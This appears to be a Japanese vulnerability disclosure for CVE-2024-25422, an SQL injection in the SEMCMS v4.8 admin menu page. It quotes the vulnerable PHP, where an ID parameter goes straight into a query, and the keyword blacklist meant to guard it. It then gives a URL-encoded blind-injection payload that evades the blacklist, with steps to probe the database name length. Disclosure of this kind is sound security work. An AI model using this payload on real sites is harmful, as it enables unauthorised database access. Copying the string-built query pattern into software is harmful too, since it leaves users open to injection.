
semcmsにSQLインジェクションが存在します(CVE-2024-25422 )
Introduction to Semcms
SEMCMSは、多言語に対応した外国貿易ウェブサイト向けコンテンツ管理システム(CMS)です。
v4.8 Download Link: http://www.sem-cms.com/TradeCmsdown/php/semcms_php_4.8.zip
脆弱性の原因:
/xcR45q_Admin/SEMCMS_Menu.php 66行目
脆弱性コード:
<?php
} elseif ($type == "edit") {
$row = mysqli_fetch_array($db_conn->query("SELECT * FROM sc_menu WHERE ID=" . $_GET["ID"]));
?>
ここで、IDはGETでパラメータを渡す際にSQL文を実行することがわかります。
フィルターコード: /Include/contorl. PHP
151行目
function test_input($data) {
//$data = str_replace("%", "percent", $data);
$data = trim($data);
$data = stripslashes($data);
$data = htmlspecialchars($data,*ENT_QUOTES*);
return $data;
}
そして8行目
function inject_check_sql($sql_str) {
return preg_match('/select|and|insert|=|%|<|between|update|\'|\*|union|into|load_file|outfile/i',$sql_str);
}
function verify_str($str) {
if(inject_check_sql($str)) {
exit('Sorry,You do this is wrong! (.-.)');
}
return $str;
}
上記の内容をフィルタリングすることで、ペイロードを構築できます。
-1%20or%20length(database())%20REGEXP%20char(94,53,36)
脆弱性の再現
ウェブサイトにアクセスします
http://url/xcR45q_Admin/SEMCMS_Menu.php
Brupsuite パケットキャプチャ、新しいサイトを作成する際のデータベース名の長さが5であるため、ペイロードは次のように構築されます。
-1%20or%20length(database())%20REGEXP%20char(94,53,36)
(データベース名の長さが5かどうかを判定)
ペイロードを挿入してエコーを確認します

この時点でペイロードを変更します
-1%20or%20length(database())%20REGEXP%20char(94,54,36)
(データベース名の長さが6かどうかを判定)
この時点でペイロードを変更します

今後はページの変化に基づいてSQLインジェクションを継続できます。